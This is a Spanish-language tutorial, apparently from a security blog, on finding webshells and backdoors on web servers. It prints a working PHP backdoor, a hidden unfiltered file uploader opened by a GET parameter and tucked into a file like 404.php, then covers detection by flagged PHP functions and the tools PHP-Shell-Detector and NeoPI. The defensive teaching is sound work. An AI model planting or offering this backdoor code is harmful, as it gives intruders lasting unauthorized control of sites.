Detectando Webshells o Backdoors en Servidores Web
Es muy común ya ver cientos de páginas web “Defaceadas” o “hackeadas” una y otra vez, en ocasiones vemos que los grupos que se dedican a esta labor de hacer de una u otra manera “Hacktivismo” o ya sea sólo por demostrar sus conocimientos, repiten targets recalcando la mala seguridad que implementan en dichos targets (objetivos-páginas web) pues esto se debe a que una vez que es vulnerado un servidor web como tal, se plantan las famosas BACKDOORS o PUERTAS TRACERAS – no es suficiente con activar el Back Up (copia de seguridad) que muy seguramente tenemos para en un caso de emergencia restablecer el funcionamiento como tal del aplicativo.
La función de un Backdoor o puerta trasera, consiste en dejar un “hueco” por donde un atacante pueda volver a tomar control del servidor o página web sin problema alguno, a continuación les explicaré una de las Backdoors mas fáciles de implementar en PHP.
Esta Backdoor es simplemente un UPLOADER creado en PHP pero está oculto dentro de un archivo del sitio afectado, para este ejemplo usaremos www.wordpress.com (no se emocionen esto es en un entorno controlado LOCALMENTE xD )
CÓDIGO :
<?php if (isset($_GET['backdoor'])) { echo '<center> <form action="" method="post" enctype="multipart/form-data"> Seleccione el Archivo <input value="Examinar" name="archivo" type="file"> <input value="0xSubir" type="submit"></form></center>'; if (isset($_FILES['archivo'])) { $ar=$_FILES['archivo']['name']; if (copy($_FILES['archivo']['tmp_name'],$path . $_FILES['archivo']['name'])) { echo '<center><h3>Archivo Subido en <a href="'.$ar.'">'.$ar.'</a></h3></center>'; } elseif (move_uploaded_file($_FILES['archivo']['tmp_name'],$path . $_FILES['archivo']['name'])){ echo '<center><h3>Archivo Subido en <a href="'.$ar.'">'.$ar.'</a></h3></center>'; } else { echo '<center><h3>Error al Subir Archivo</h3></center>'; } } } ?>
Paso a explicar como funciona esta Backdoor.
Como podemos observar en
if (isset($_GET['backdoor'])) {
nos esta diciendo que si el valor enviado por GET es backdoor, entonces nos va a mostrar nuestro UPLOADER, obviamente esta programado sin ningún tipo de filtros.
Para una mayor comprensión veamos el ejemplo en el entorno controlado:
lastimosamente corrimos con tan mala suerte que hemos sido vulnerados por un atacante el cual ha logrado montar una SHELL WEB con tan mala suerte que ni cuenta nos dimos de cuando sucedió esto ya que el atacante en esta ocasión no hizo un DEFACEMENT solo vulnero y tiene control de nuestro sitio, para evitar ser descubierto decidió borrar la SHELL que había montado pero no sin antes plantar su Backdoor.
RECORDEMOS QUE NO TODOS LOS ATACANTES VULNERAN SITIOS SÓLO PARA REALIZAR UN DEFACEMENT, TAMBIÉN LO HACEN PARA TOMAR COMO “ZOMBIE” UN SERVIDOR COMO TAL, YA SEA PARA PROPAGAR MALWARE O SIMPLEMENTE PARA REALIZAR ATAQUES DdoS HACIENDO USO DE NUESTROS RECURSOS.
Sólo basta con llamar al archivo desde la URL www.wordpress.com/404.php
NOTA: Aquí solo les mencioné una de las mil maneras de como un atacante silencioso puede plantar una Backdoor en nuestro sitio web, Existen varias maneras de plantar Backdoors ya sea abriendo puertos y enlazándolos de tal manera que el atacante pueda tener control por consola, también recordemos que un atacante podría matar procesos en este caso el AV para así subir un troyano y ejecutarlo en el servidor para ya luego tener control de este, incluso podemos ver Backdoors ofuscadas en archivos como imágenes (así que cuidado con que imágenes suben a sus sitios).
PERO BUENO, DE SEGURO QUE NO LES SUENA LA IDEA DE IR LINEA POR LINEA EN BUSCA DE ALGO SOSPECHOSO ¿ VERDAD ?
Para el alivio de muchos existen SCRIPTS programados de tal manera que permita leer el código fuente de los archivos en busca de POSIBLES BACKDOORS.
¿Cómo funcionan estos scripts para detectar webshells?
Por lo general la mayoría de shells – Backdoors utilizan funciones en php conocidas como por ejemplo eval(), system(), shell_exec(), exec(), passthru() .. entre otras...
también reconocen strings conocidos provenientes de algunas shells tales como C99, WSO..
Bien pues les mostrare algunas de las varias opciones para detectar Backdoors.
1. SHELL DETEC:
Se puede descargar desde Aquí : https://github.com/emposha/PHP-Shell-Detector/
Sólo basta con subir el archivo shelldetect.php y shelldetect.db en nuestro hosting, al llamar el script desde la URL nos pedirá un usuario y una contraseña.
User: admin
Password: protect
al abrirlo automáticamente hace el escaneo del hosting en busca de archivos maliciosos.
2. NEOPI :
./neopi.py -c escaneo-sitio1.csv -a -A /var/www/detect/ /var/www/detect/ -c nos crea un archivo con el reporte de los posibles archivos maliciosos encontrados -a nos ejecuta todas las opciones de testeo -A es la ruta en la que queremos correr el testeo es decir donde queremos detectar los archivos maliciosos.
Se puede descargar desde Aquí: https://github.com/Neohapsis/NeoPI
NOTA: SIEMPRE EXISTIRAN MANERAS DE EVADIR ESTOS SCRIPTS, ASÍ QUE ESTÁ EN NOSOTROS TRATAR DE MEJORAR EL SCRIPT PARA PONERLE MAS DIFICIL EL TRABAJO AL MALINTENCIONADO.
Salu2.